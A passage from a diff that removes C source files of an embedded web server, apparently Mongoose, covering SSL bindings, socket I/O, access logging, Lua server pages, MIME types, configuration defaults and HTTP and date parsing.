#define SSL_set_fd (* (int (*)(SSL *, SOCKET)) ssl_sw[6].ptr)
#define SSL_new (* (SSL * (*)(SSL_CTX *)) ssl_sw[7].ptr)
#define SSL_CTX_new (* (SSL_CTX * (*)(SSL_METHOD *)) ssl_sw[8].ptr)
#define SSLv23_server_method (* (SSL_METHOD * (*)(void)) ssl_sw[9].ptr)
#define SSL_library_init (* (int (*)(void)) ssl_sw[10].ptr)
#define SSL_CTX_use_PrivateKey_file (* (int (*)(SSL_CTX *, \
const char *, int)) ssl_sw[11].ptr)
#define SSL_CTX_use_certificate_file (* (int (*)(SSL_CTX *, \
const char *, int)) ssl_sw[12].ptr)
#define SSL_CTX_set_default_passwd_cb \
(* (void (*)(SSL_CTX *, mg_event_handler_t)) ssl_sw[13].ptr)
#define SSL_CTX_free (* (void (*)(SSL_CTX *)) ssl_sw[14].ptr)
#define SSL_load_error_strings (* (void (*)(void)) ssl_sw[15].ptr)
#define SSL_CTX_use_certificate_chain_file \
(* (int (*)(SSL_CTX *, const char *)) ssl_sw[16].ptr)
#define SSLv23_client_method (* (SSL_METHOD * (*)(void)) ssl_sw[17].ptr)
#define SSL_pending (* (int (*)(SSL *)) ssl_sw[18].ptr)
#define SSL_CTX_set_verify (* (void (*)(SSL_CTX *, int, int)) ssl_sw[19].ptr)
#define SSL_shutdown (* (int (*)(SSL *)) ssl_sw[20].ptr)
#define CRYPTO_num_locks (* (int (*)(void)) crypto_sw[0].ptr)
#define CRYPTO_set_locking_callback \
(* (void (*)(void (*)(int, int, const char *, int))) crypto_sw[1].ptr)
#define CRYPTO_set_id_callback \
(* (void (*)(unsigned long (*)(void))) crypto_sw[2].ptr)
#define ERR_get_error (* (unsigned long (*)(void)) crypto_sw[3].ptr)
#define ERR_error_string (* (char * (*)(unsigned long,char *)) crypto_sw[4].ptr)
#endif // NO_SSL_DL
// Unified socket address. For IPv6 support, add IPv6 address structure
// in the union u.
union usa {
struct sockaddr sa;
struct sockaddr_in sin;
#if defined(USE_IPV6)
struct sockaddr_in6 sin6;
#endif
};
// Describes a string (chunk of memory).
struct vec {
const char *ptr;
size_t len;
};
struct file {
int is_directory;
time_t modification_time;
int64_t size;
// set to 1 if the content is gzipped
// in which case we need a content-encoding: gzip header
int gzipped;
};
#define STRUCT_FILE_INITIALIZER { 0, 0, 0, 0 }
// Describes listening socket, or socket which was accept()-ed by the master
// thread and queued for future handling by the worker thread.
struct socket {
SOCKET sock; // Listening socket
union usa lsa; // Local socket address
union usa rsa; // Remote socket address
unsigned is_ssl:1; // Is port SSL-ed
unsigned ssl_redir:1; // Is port supposed to redirect everything to SSL port
};
// NOTE(lsm): this enum shoulds be in sync with the config_options.
enum {
CGI_EXTENSIONS, CGI_ENVIRONMENT, PUT_DELETE_PASSWORDS_FILE, CGI_INTERPRETER,
PROTECT_URI, AUTHENTICATION_DOMAIN, SSI_EXTENSIONS,
ACCESS_LOG_FILE, ENABLE_DIRECTORY_LISTING, ERROR_LOG_FILE,
GLOBAL_PASSWORDS_FILE, INDEX_FILES, ENABLE_KEEP_ALIVE, ACCESS_CONTROL_LIST,
EXTRA_MIME_TYPES, LISTENING_PORTS, DOCUMENT_ROOT, SSL_CERTIFICATE,
NUM_THREADS, RUN_AS_USER, REWRITE, HIDE_FILES, REQUEST_TIMEOUT,
NUM_OPTIONS
};
struct mg_context {
volatile int stop_flag; // Should we stop event loop
SSL_CTX *ssl_ctx; // SSL context
char *config[NUM_OPTIONS]; // Mongoose configuration parameters
mg_event_handler_t event_handler; // User-defined callback function
void *user_data; // User-defined data
struct socket *listening_sockets;
int num_listening_sockets;
int num_threads; // Number of threads
sock_t ctl[2]; // Socket pair for inter-thread communication
};
struct mg_connection {
struct mg_request_info request_info;
struct mg_event event;
struct mg_context *ctx;
SSL *ssl; // SSL descriptor
SSL_CTX *client_ssl_ctx; // SSL context for client connections
struct socket client; // Connected client
time_t birth_time; // Time when request was received
int64_t num_bytes_sent; // Total bytes sent to client
int64_t content_len; // Content-Length header value
int64_t num_bytes_read; // Bytes read from a remote socket
char *buf; // Buffer for received data
char *path_info; // PATH_INFO part of the URL
int must_close; // 1 if connection must be closed
int buf_size; // Buffer size
int request_len; // Size of the request + headers in a buffer
int data_len; // Total size of data in a buffer
int status_code; // HTTP reply status code, e.g. 200
};
// Directory entry
struct de {
struct mg_connection *conn;
char *file_name;
struct file file;
};
static FILE *mg_fopen(const char *path, const char *mode);
static int mg_stat(const char *path, struct file *filep);
static void send_http_error(struct mg_connection *, int, const char *,
PRINTF_FORMAT_STRING(const char *fmt), ...)
PRINTF_ARGS(4, 5);
static void cry(struct mg_connection *conn,
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(2, 3);
static const char *getreq(struct mg_connection *conn);
#ifdef USE_LUA
#include "lua_5.2.1.h"
static int handle_lsp_request(struct mg_connection *, const char *,
struct file *, struct lua_State *);
#endif
build/src/io.c
-187
View File
@@ -1,187 +0,0 @@
#include "internal.h"
// Return number of bytes left to read for this connection
static int64_t left_to_read(const struct mg_connection *conn) {
return conn->content_len + conn->request_len - conn->num_bytes_read;
}
// Write data to the IO channel - opened file descriptor, socket or SSL
// descriptor. Return number of bytes written.
static int64_t push(FILE *fp, SOCKET sock, SSL *ssl, const char *buf,
int64_t len) {
int64_t sent;
int n, k;
(void) ssl; // Get rid of warning
sent = 0;
while (sent < len) {
// How many bytes we send in this iteration
k = len - sent > INT_MAX ? INT_MAX : (int) (len - sent);
#if !defined(NO_SSL)
if (ssl != NULL) {
n = SSL_write(ssl, buf + sent, k);
} else
#endif
if (fp != NULL) {
n = (int) fwrite(buf + sent, 1, (size_t) k, fp);
if (ferror(fp))
n = -1;
} else {
n = send(sock, buf + sent, (size_t) k, MSG_NOSIGNAL);
}
if (n <= 0)
break;
sent += n;
}
return sent;
}
// Read from IO channel - opened file descriptor, socket, or SSL descriptor.
// Return negative value on error, or number of bytes read on success.
static int pull(FILE *fp, struct mg_connection *conn, char *buf, int len) {
int nread;
if (len <= 0) return 0;
if (fp != NULL) {
// Use read() instead of fread(), because if we're reading from the CGI
// pipe, fread() may block until IO buffer is filled up. We cannot afford
// to block and must pass all read bytes immediately to the client.
nread = read(fileno(fp), buf, (size_t) len);
#ifndef NO_SSL
} else if (conn->ssl != NULL) {
nread = SSL_read(conn->ssl, buf, len);
#endif
} else {
nread = recv(conn->client.sock, buf, (size_t) len, 0);
}
if (nread > 0) {
conn->num_bytes_read += nread;
}
return conn->ctx->stop_flag ? -1 : nread;
}
static int pull_all(FILE *fp, struct mg_connection *conn, char *buf, int len) {
int n, nread = 0;
while (len > 0 && conn->ctx->stop_flag == 0) {
n = pull(fp, conn, buf + nread, len);
if (n < 0) {
nread = n; // Propagate the error
break;
} else if (n == 0) {
break; // No more data to read
} else {
nread += n;
len -= n;
}
}
return nread;
}
int mg_read(struct mg_connection *conn, void *buf, int len) {
int n, buffered_len, nread = 0;
int64_t left;
if (conn->content_len <= 0) {
return 0;
}
// conn->buf body
// |=================|==========|===============|
// |<--request_len-->| |
// |<-----------data_len------->| conn->buf + conn->buf_size
// First, check for data buffered in conn->buf by read_request().
if (len > 0 && (buffered_len = conn->data_len - conn->request_len) > 0) {
char *body = conn->buf + conn->request_len;
if (buffered_len > len) buffered_len = len;
if (buffered_len > conn->content_len) buffered_len = (int)conn->content_len;
memcpy(buf, body, (size_t) buffered_len);
memmove(body, body + buffered_len,
&conn->buf[conn->data_len] - &body[buffered_len]);
len -= buffered_len;
conn->data_len -= buffered_len;
nread += buffered_len;
}
// Read data from the socket.
if (len > 0 && (left = left_to_read(conn)) > 0) {
if (left < len) {
len = (int) left;
}
n = pull_all(NULL, conn, (char *) buf + nread, (int) len);
nread = n >= 0 ? nread + n : n;
}
return nread;
}
int mg_write(struct mg_connection *conn, const void *buf, int len) {
return (int) push(NULL, conn->client.sock, conn->ssl, (const char *) buf,
(int64_t) len);
}
// Keep reading the input (either opened file descriptor fd, or socket sock,
// or SSL descriptor ssl) into buffer buf, until \r\n\r\n appears in the
// buffer (which marks the end of HTTP request). Buffer buf may already
// have some data. The length of the data is stored in nread.
// Upon every read operation, increase nread by the number of bytes read.
static int read_request(FILE *fp, struct mg_connection *conn,
char *buf, int bufsiz, int *nread) {
int request_len, n = 0;
request_len = get_request_len(buf, *nread);
while (conn->ctx->stop_flag == 0 &&
*nread < bufsiz &&
request_len == 0 &&
(n = pull(fp, conn, buf + *nread, bufsiz - *nread)) > 0) {
*nread += n;
assert(*nread <= bufsiz);
request_len = get_request_len(buf, *nread);
}
return request_len <= 0 && n <= 0 ? -1 : request_len;
}
// Send len bytes from the opened file to the client.
static void send_file_data(struct mg_connection *conn, FILE *fp,
int64_t offset, int64_t len) {
char buf[MG_BUF_LEN];
int num_read, num_written, to_read;
// If offset is beyond file boundaries, don't send anything
if (offset > 0 && fseeko(fp, offset, SEEK_SET) != 0) {
return;
}
while (len > 0) {
// Calculate how much to read from the file in the buffer
to_read = sizeof(buf);
if ((int64_t) to_read > len) {
to_read = (int) len;
}
// Read from file, exit the loop on error
if ((num_read = fread(buf, 1, (size_t) to_read, fp)) <= 0) {
break;
}
// Send read bytes to the client, exit the loop on error
if ((num_written = mg_write(conn, buf, (size_t) num_read)) != num_read) {
break;
}
// Both read and were successful, adjust counters
conn->num_bytes_sent += num_written;
len -= num_written;
}
}
build/src/log.c
-44
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@@ -1,44 +0,0 @@
#include "internal.h"
static void log_header(const struct mg_connection *conn, const char *header,
FILE *fp) {
const char *header_value;
if ((header_value = mg_get_header(conn, header)) == NULL) {
(void) fprintf(fp, "%s", " -");
} else {
(void) fprintf(fp, " \"%s\"", header_value);
}
}
static void log_access(const struct mg_connection *conn) {
const struct mg_request_info *ri;
FILE *fp;
char date[64], src_addr[IP_ADDR_STR_LEN];
fp = conn->ctx->config[ACCESS_LOG_FILE] == NULL ? NULL :
fopen(conn->ctx->config[ACCESS_LOG_FILE], "a+");
if (fp == NULL)
return;
strftime(date, sizeof(date), "%d/%b/%Y:%H:%M:%S %z",
localtime(&conn->birth_time));
ri = &conn->request_info;
flockfile(fp);
sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
fprintf(fp, "%s - %s [%s] \"%s %s HTTP/%s\" %d %" INT64_FMT,
src_addr, ri->remote_user == NULL ? "-" : ri->remote_user, date,
ri->request_method ? ri->request_method : "-",
ri->uri ? ri->uri : "-", ri->http_version,
conn->status_code, conn->num_bytes_sent);
log_header(conn, "Referer", fp);
log_header(conn, "User-Agent", fp);
fputc('\n', fp);
fflush(fp);
funlockfile(fp);
fclose(fp);
}
build/src/lua.c
-390
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@@ -1,390 +0,0 @@
#include "internal.h"
#ifdef USE_LUA
#ifdef _WIN32
static void *mmap(void *addr, int64_t len, int prot, int flags, int fd,
int offset) {
HANDLE fh = (HANDLE) _get_osfhandle(fd);
HANDLE mh = CreateFileMapping(fh, 0, PAGE_READONLY, 0, 0, 0);
void *p = MapViewOfFile(mh, FILE_MAP_READ, 0, 0, (size_t) len);
CloseHandle(mh);
return p;
}
#define munmap(x, y) UnmapViewOfFile(x)
#define MAP_FAILED NULL
#define MAP_PRIVATE 0
#define PROT_READ 0
#else
#include <sys/mman.h>
#endif
static const char *LUASOCKET = "luasocket";
// Forward declarations
static int handle_lsp_request(struct mg_connection *, const char *,
struct file *, struct lua_State *);
static void reg_string(struct lua_State *L, const char *name, const char *val) {
lua_pushstring(L, name);
lua_pushstring(L, val);
lua_rawset(L, -3);
}
static void reg_int(struct lua_State *L, const char *name, int val) {
lua_pushstring(L, name);
lua_pushinteger(L, val);
lua_rawset(L, -3);
}
static void reg_function(struct lua_State *L, const char *name,
lua_CFunction func, struct mg_connection *conn) {
lua_pushstring(L, name);
lua_pushlightuserdata(L, conn);
lua_pushcclosure(L, func, 1);
lua_rawset(L, -3);
}
static int lsp_sock_close(lua_State *L) {
if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
lua_getfield(L, -1, "sock");
closesocket((SOCKET) lua_tonumber(L, -1));
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static int lsp_sock_recv(lua_State *L) {
char buf[2000];
int n;
if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
lua_getfield(L, -1, "sock");
n = recv((SOCKET) lua_tonumber(L, -1), buf, sizeof(buf), 0);
if (n <= 0) {
lua_pushnil(L);
} else {
lua_pushlstring(L, buf, n);
}
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static int lsp_sock_send(lua_State *L) {
const char *buf;
size_t len, sent = 0;
int n, sock;
if (lua_gettop(L) > 1 && lua_istable(L, -2) && lua_isstring(L, -1)) {
buf = lua_tolstring(L, -1, &len);
lua_getfield(L, -2, "sock");
sock = (int) lua_tonumber(L, -1);
while (sent < len) {
if ((n = send(sock, buf + sent, len - sent, 0)) <= 0) {
break;
}
sent += n;
}
lua_pushnumber(L, n);
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static const struct luaL_Reg luasocket_methods[] = {
{"close", lsp_sock_close},
{"send", lsp_sock_send},
{"recv", lsp_sock_recv},
{NULL, NULL}
};
static int lsp_connect(lua_State *L) {
char ebuf[100];
SOCKET sock;
if (lua_isstring(L, -3) && lua_isnumber(L, -2) && lua_isnumber(L, -1)) {
sock = conn2(lua_tostring(L, -3), (int) lua_tonumber(L, -2),
(int) lua_tonumber(L, -1), ebuf, sizeof(ebuf));
if (sock == INVALID_SOCKET) {
return luaL_error(L, ebuf);
} else {
lua_newtable(L);
reg_int(L, "sock", sock);
reg_string(L, "host", lua_tostring(L, -4));
luaL_getmetatable(L, LUASOCKET);
lua_setmetatable(L, -2);
}
} else {
return luaL_error(L, "connect(host,port,is_ssl): invalid parameter given.");
}
return 1;
}
static int lsp_error(lua_State *L) {
lua_getglobal(L, "mg");
lua_getfield(L, -1, "onerror");
lua_pushvalue(L, -3);
lua_pcall(L, 1, 0, 0);
return 0;
}
// Silently stop processing chunks.
static void lsp_abort(lua_State *L) {
int top = lua_gettop(L);
lua_getglobal(L, "mg");
lua_pushnil(L);
lua_setfield(L, -2, "onerror");
lua_settop(L, top);
lua_pushstring(L, "aborting");
lua_error(L);
}
static int lsp(struct mg_connection *conn, const char *path,
const char *p, int64_t len, lua_State *L) {
int i, j, pos = 0, lines = 1, lualines = 0;
char chunkname[MG_BUF_LEN];
for (i = 0; i < len; i++) {
if (p[i] == '\n') lines++;
if (p[i] == '<' && p[i + 1] == '?') {
for (j = i + 1; j < len ; j++) {
if (p[j] == '\n') lualines++;
if (p[j] == '?' && p[j + 1] == '>') {
mg_write(conn, p + pos, i - pos);
snprintf(chunkname, sizeof(chunkname), "@%s+%i", path, lines);
lua_pushlightuserdata(L, conn);
lua_pushcclosure(L, lsp_error, 1);
if (luaL_loadbuffer(L, p + (i + 2), j - (i + 2), chunkname)) {
// Syntax error or OOM. Error message is pushed on stack.
lua_pcall(L, 1, 0, 0);
} else {
// Success loading chunk. Call it.
lua_pcall(L, 0, 0, 1);
}
pos = j + 2;
i = pos - 1;
break;
}
}
if (lualines > 0) {
lines += lualines;
lualines = 0;
}
}
}
if (i > pos) {
mg_write(conn, p + pos, i - pos);
}
return 0;
}
static int lsp_write(lua_State *L) {
int i, num_args;
const char *str;
size_t size;
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
num_args = lua_gettop(L);
for (i = 1; i <= num_args; i++) {
if (lua_isstring(L, i)) {
str = lua_tolstring(L, i, &size);
mg_write(conn, str, size);
}
}
return 0;
}
static int lsp_read(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
char buf[1024];
int len = mg_read(conn, buf, sizeof(buf));
if (len <= 0) return 0;
lua_pushlstring(L, buf, len);
return 1;
}
// mg.include: Include another .lp file
static int lsp_include(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
struct file file = STRUCT_FILE_INITIALIZER;
if (handle_lsp_request(conn, lua_tostring(L, -1), &file, L)) {
// handle_lsp_request returned an error code, meaning an error occured in
// the included page and mg.onerror returned non-zero. Stop processing.
lsp_abort(L);
}
return 0;
}
// mg.cry: Log an error. Default value for mg.onerror.
static int lsp_cry(lua_State *L){
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
cry(conn, "%s", lua_tostring(L, -1));
return 0;
}
// mg.redirect: Redirect the request (internally).
static int lsp_redirect(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
conn->request_info.uri = lua_tostring(L, -1);
handle_request(conn);
lsp_abort(L);
return 0;
}
static void prepare_lua_environment(struct mg_connection *conn, lua_State *L) {
const struct mg_request_info *ri = &conn->request_info;
extern void luaL_openlibs(lua_State *);
int i;
luaL_openlibs(L);
#ifdef USE_LUA_SQLITE3
{ extern int luaopen_lsqlite3(lua_State *); luaopen_lsqlite3(L); }
#endif
luaL_newmetatable(L, LUASOCKET);
lua_pushliteral(L, "__index");
luaL_newlib(L, luasocket_methods);
lua_rawset(L, -3);
lua_pop(L, 1);
lua_register(L, "connect", lsp_connect);
if (conn == NULL) return;
// Register mg module
lua_newtable(L);
reg_function(L, "read", lsp_read, conn);
reg_function(L, "write", lsp_write, conn);
reg_function(L, "cry", lsp_cry, conn);
reg_function(L, "include", lsp_include, conn);
reg_function(L, "redirect", lsp_redirect, conn);
reg_string(L, "version", MONGOOSE_VERSION);
// Export request_info
lua_pushstring(L, "request_info");
lua_newtable(L);
reg_string(L, "request_method", ri->request_method);
reg_string(L, "uri", ri->uri);
reg_string(L, "http_version", ri->http_version);
reg_string(L, "query_string", ri->query_string);
reg_int(L, "remote_ip", ri->remote_ip);
reg_int(L, "remote_port", ri->remote_port);
reg_int(L, "num_headers", ri->num_headers);
lua_pushstring(L, "http_headers");
lua_newtable(L);
for (i = 0; i < ri->num_headers; i++) {
reg_string(L, ri->http_headers[i].name, ri->http_headers[i].value);
}
lua_rawset(L, -3);
lua_rawset(L, -3);
lua_setglobal(L, "mg");
// Register default mg.onerror function
luaL_dostring(L, "mg.onerror = function(e) mg.write('\\nLua error:\\n', "
"debug.traceback(e, 1)) end");
}
static int lua_error_handler(lua_State *L) {
const char *error_msg = lua_isstring(L, -1) ? lua_tostring(L, -1) : "?\n";
lua_getglobal(L, "mg");
if (!lua_isnil(L, -1)) {
lua_getfield(L, -1, "write"); // call mg.write()
lua_pushstring(L, error_msg);
lua_pushliteral(L, "\n");
lua_call(L, 2, 0);
luaL_dostring(L, "mg.write(debug.traceback(), '\\n')");
} else {
printf("Lua error: [%s]\n", error_msg);
luaL_dostring(L, "print(debug.traceback(), '\\n')");
}
// TODO(lsm): leave the stack balanced
return 0;
}
void mg_exec_lua_script(struct mg_connection *conn, const char *path,
const void **exports) {
int i;
lua_State *L;
if (path != NULL && (L = luaL_newstate()) != NULL) {
prepare_lua_environment(conn, L);
lua_pushcclosure(L, &lua_error_handler, 0);
lua_pushglobaltable(L);
if (exports != NULL) {
for (i = 0; exports[i] != NULL && exports[i + 1] != NULL; i += 2) {
lua_pushstring(L, exports[i]);
lua_pushcclosure(L, (lua_CFunction) exports[i + 1], 0);
lua_rawset(L, -3);
}
}
if (luaL_loadfile(L, path) != 0) {
lua_error_handler(L);
}
lua_pcall(L, 0, 0, -2);
lua_close(L);
}
}
static void lsp_send_err(struct mg_connection *conn, struct lua_State *L,
const char *fmt, ...) {
char buf[MG_BUF_LEN];
va_list ap;
va_start(ap, fmt);
vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
if (L == NULL) {
send_http_error(conn, 500, http_500_error, "%s", buf);
} else {
lua_pushstring(L, buf);
lua_error(L);
}
}
static int handle_lsp_request(struct mg_connection *conn, const char *path,
struct file *filep, struct lua_State *ls) {
void *p = NULL;
lua_State *L = NULL;
FILE *fp = NULL;
int error = 1;
// We need both mg_stat to get file size, and mg_fopen to get fd
if (!mg_stat(path, filep) || (fp = mg_fopen(path, "r")) == NULL) {
lsp_send_err(conn, ls, "File [%s] not found", path);
} else if ((p = mmap(NULL, (size_t) filep->size, PROT_READ, MAP_PRIVATE,
fileno(fp), 0)) == MAP_FAILED) {
lsp_send_err(conn, ls, "mmap(%s, %zu, %d): %s", path, (size_t) filep->size,
fileno(fp), strerror(errno));
} else if ((L = ls != NULL ? ls : luaL_newstate()) == NULL) {
send_http_error(conn, 500, http_500_error, "%s", "luaL_newstate failed");
} else {
// We're not sending HTTP headers here, Lua page must do it.
if (ls == NULL) {
prepare_lua_environment(conn, L);
}
error = lsp(conn, path, p, filep->size, L);
}
if (L != NULL && ls == NULL) lua_close(L);
if (p != NULL) munmap(p, filep->size);
fclose(fp);
return error;
}
#endif // USE_LUA
build/src/mg_printf.c
-67
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@@ -1,67 +0,0 @@
#include "internal.h"
// Print message to buffer. If buffer is large enough to hold the message,
// return buffer. If buffer is to small, allocate large enough buffer on heap,
// and return allocated buffer.
static int alloc_vprintf(char **buf, size_t size, const char *fmt, va_list ap) {
va_list ap_copy;
int len;
// Windows is not standard-compliant, and vsnprintf() returns -1 if
// buffer is too small. Also, older versions of msvcrt.dll do not have
// _vscprintf(). However, if size is 0, vsnprintf() behaves correctly.
// Therefore, we make two passes: on first pass, get required message length.
// On second pass, actually print the message.
va_copy(ap_copy, ap);
len = vsnprintf(NULL, 0, fmt, ap_copy);
if (len > (int) size &&
(size = len + 1) > 0 &&
(*buf = (char *) malloc(size)) == NULL) {
len = -1; // Allocation failed, mark failure
} else {
va_copy(ap_copy, ap);
vsnprintf(*buf, size, fmt, ap_copy);
}
return len;
}
int mg_vprintf(struct mg_connection *conn, const char *fmt, va_list ap) {
char mem[MG_BUF_LEN], *buf = mem;
int len;
if ((len = alloc_vprintf(&buf, sizeof(mem), fmt, ap)) > 0) {
len = mg_write(conn, buf, (size_t) len);
}
if (buf != mem && buf != NULL) {
free(buf);
}
return len;
}
int mg_printf(struct mg_connection *conn, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
return mg_vprintf(conn, fmt, ap);
}
static int mg_chunked_printf(struct mg_connection *conn, const char *fmt, ...) {
char mem[MG_BUF_LEN], *buf = mem;
int len;
va_list ap;
va_start(ap, fmt);
if ((len = alloc_vprintf(&buf, sizeof(mem), fmt, ap)) > 0) {
len = mg_printf(conn, "%X\r\n%s\r\n", len, buf);
}
if (buf != mem && buf != NULL) {
free(buf);
}
return len;
}
build/src/mime.c
-99
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@@ -1,99 +0,0 @@
#include "internal.h"
static const struct {
const char *extension;
size_t ext_len;
const char *mime_type;
} builtin_mime_types[] = {
{".html", 5, "text/html"},
{".htm", 4, "text/html"},
{".shtm", 5, "text/html"},
{".shtml", 6, "text/html"},
{".css", 4, "text/css"},
{".js", 3, "application/x-javascript"},
{".ico", 4, "image/x-icon"},
{".gif", 4, "image/gif"},
{".jpg", 4, "image/jpeg"},
{".jpeg", 5, "image/jpeg"},
{".png", 4, "image/png"},
{".svg", 4, "image/svg+xml"},
{".txt", 4, "text/plain"},
{".torrent", 8, "application/x-bittorrent"},
{".wav", 4, "audio/x-wav"},
{".mp3", 4, "audio/x-mp3"},
{".mid", 4, "audio/mid"},
{".m3u", 4, "audio/x-mpegurl"},
{".ogg", 4, "application/ogg"},
{".ram", 4, "audio/x-pn-realaudio"},
{".xml", 4, "text/xml"},
{".json", 5, "text/json"},
{".xslt", 5, "application/xml"},
{".xsl", 4, "application/xml"},
{".ra", 3, "audio/x-pn-realaudio"},
{".doc", 4, "application/msword"},
{".exe", 4, "application/octet-stream"},
{".zip", 4, "application/x-zip-compressed"},
{".xls", 4, "application/excel"},
{".tgz", 4, "application/x-tar-gz"},
{".tar", 4, "application/x-tar"},
{".gz", 3, "application/x-gunzip"},
{".arj", 4, "application/x-arj-compressed"},
{".rar", 4, "application/x-arj-compressed"},
{".rtf", 4, "application/rtf"},
{".pdf", 4, "application/pdf"},
{".swf", 4, "application/x-shockwave-flash"},
{".mpg", 4, "video/mpeg"},
{".webm", 5, "video/webm"},
{".mpeg", 5, "video/mpeg"},
{".mov", 4, "video/quicktime"},
{".mp4", 4, "video/mp4"},
{".m4v", 4, "video/x-m4v"},
{".asf", 4, "video/x-ms-asf"},
{".avi", 4, "video/x-msvideo"},
{".bmp", 4, "image/bmp"},
{".ttf", 4, "application/x-font-ttf"},
{NULL, 0, NULL}
};
const char *mg_get_builtin_mime_type(const char *path) {
const char *ext;
size_t i, path_len;
path_len = strlen(path);
for (i = 0; builtin_mime_types[i].extension != NULL; i++) {
ext = path + (path_len - builtin_mime_types[i].ext_len);
if (path_len > builtin_mime_types[i].ext_len &&
mg_strcasecmp(ext, builtin_mime_types[i].extension) == 0) {
return builtin_mime_types[i].mime_type;
}
}
return "text/plain";
}
// Look at the "path" extension and figure what mime type it has.
// Store mime type in the vector.
static void get_mime_type(struct mg_context *ctx, const char *path,
struct vec *vec) {
struct vec ext_vec, mime_vec;
const char *list, *ext;
size_t path_len;
path_len = strlen(path);
// Scan user-defined mime types first, in case user wants to
// override default mime types.
list = ctx->config[EXTRA_MIME_TYPES];
while ((list = next_option(list, &ext_vec, &mime_vec)) != NULL) {
// ext now points to the path suffix
ext = path + path_len - ext_vec.len;
if (mg_strncasecmp(ext, ext_vec.ptr, ext_vec.len) == 0) {
*vec = mime_vec;
return;
}
}
vec->ptr = mg_get_builtin_mime_type(path);
vec->len = strlen(vec->ptr);
}
build/src/mongoose.c
-1420
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File diff suppressed because it is too large. Load diff
build/src/options.c
-56
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@@ -1,56 +0,0 @@
#include "internal.h"
// This array must be in sync with enum in internal.h
static const char *config_options[] = {
"cgi_pattern", "**.cgi$|**.pl$|**.php$",
"cgi_environment", NULL,
"put_delete_auth_file", NULL,
"cgi_interpreter", NULL,
"protect_uri", NULL,
"authentication_domain", "mydomain.com",
"ssi_pattern", "**.shtml$|**.shtm$",
"access_log_file", NULL,
"enable_directory_listing", "yes",
"error_log_file", NULL,
"global_auth_file", NULL,
"index_files",
"index.html,index.htm,index.cgi,index.shtml,index.php,index.lp",
"enable_keep_alive", "no",
"access_control_list", NULL,
"extra_mime_types", NULL,
"listening_ports", "8080",
"document_root", NULL,
"ssl_certificate", NULL,
"num_threads", "50",
"run_as_user", NULL,
"url_rewrite_patterns", NULL,
"hide_files_patterns", NULL,
"request_timeout_ms", "30000",
NULL
};
const char **mg_get_valid_option_names(void) {
return config_options;
}
static int get_option_index(const char *name) {
int i;
for (i = 0; config_options[i * 2] != NULL; i++) {
if (strcmp(config_options[i * 2], name) == 0) {
return i;
}
}
return -1;
}
const char *mg_get_option(const struct mg_context *ctx, const char *name) {
int i;
if ((i = get_option_index(name)) == -1) {
return NULL;
} else if (ctx->config[i] == NULL) {
return "";
} else {
return ctx->config[i];
}
}
build/src/parse_date.c
-49
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@@ -1,49 +0,0 @@
#include "internal.h"
static const char *month_names[] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
// Convert month to the month number. Return -1 on error, or month number
static int get_month_index(const char *s) {
int i;
for (i = 0; i < (int) ARRAY_SIZE(month_names); i++)
if (!strcmp(s, month_names[i]))
return i;
return -1;
}
static int num_leap_years(int year) {
return year / 4 - year / 100 + year / 400;
}
// Parse UTC date-time string, and return the corresponding time_t value.
static time_t parse_date_string(const char *datetime) {
static const unsigned short days_before_month[] = {
0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334
};
char month_str[32];
int second, minute, hour, day, month, year, leap_days, days;
time_t result = (time_t) 0;
if (((sscanf(datetime, "%d/%3s/%d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%d %3s %d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%*3s, %d %3s %d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%d-%3s-%d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6)) &&
year > 1970 &&
(month = get_month_index(month_str)) != -1) {
leap_days = num_leap_years(year) - num_leap_years(1970);
year -= 1970;
days = year * 365 + days_before_month[month] + (day - 1) + leap_days;
result = days * 24 * 3600 + hour * 3600 + minute * 60 + second;
}
return result;
}
build/src/parse_http.c
-63
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@@ -1,63 +0,0 @@
#include "internal.h"
// Parse HTTP headers from the given buffer, advance buffer to the point
// where parsing stopped.
static void parse_http_headers(char **buf, struct mg_request_info *ri) {
int i;
for (i = 0; i < (int) ARRAY_SIZE(ri->http_headers); i++) {
ri->http_headers[i].name = skip_quoted(buf, ":", " ", 0);
ri->http_headers[i].value = skip(buf, "\r\n");
if (ri->http_headers[i].name[0] == '\0')
break;
ri->num_headers = i + 1;
}
}
static int is_valid_http_method(const char *method) {
return !strcmp(method, "GET") || !strcmp(method, "POST") ||
!strcmp(method, "HEAD") || !strcmp(method, "CONNECT") ||
!strcmp(method, "PUT") || !strcmp(method, "DELETE") ||
!strcmp(method, "OPTIONS") || !strcmp(method, "PROPFIND")
|| !strcmp(method, "MKCOL");
}
// Parse HTTP request, fill in mg_request_info structure.
// This function modifies the buffer by NUL-terminating
// HTTP request components, header names and header values.
static int parse_http_message(char *buf, int len, struct mg_request_info *ri) {
int is_request, request_length = get_request_len(buf, len);
if (request_length > 0) {
// Reset attributes. DO NOT TOUCH is_ssl, remote_ip, remote_port
ri->remote_user = ri->request_method = ri->uri = ri->http_version = NULL;
ri->num_headers = 0;
buf[request_length - 1] = '\0';
// RFC says that all initial whitespaces should be ingored
while (*buf != '\0' && isspace(* (unsigned char *) buf)) {
buf++;
}
ri->request_method = skip(&buf, " ");
ri->uri = skip(&buf, " ");
ri->http_version = skip(&buf, "\r\n");
// HTTP message could be either HTTP request or HTTP response, e.g.
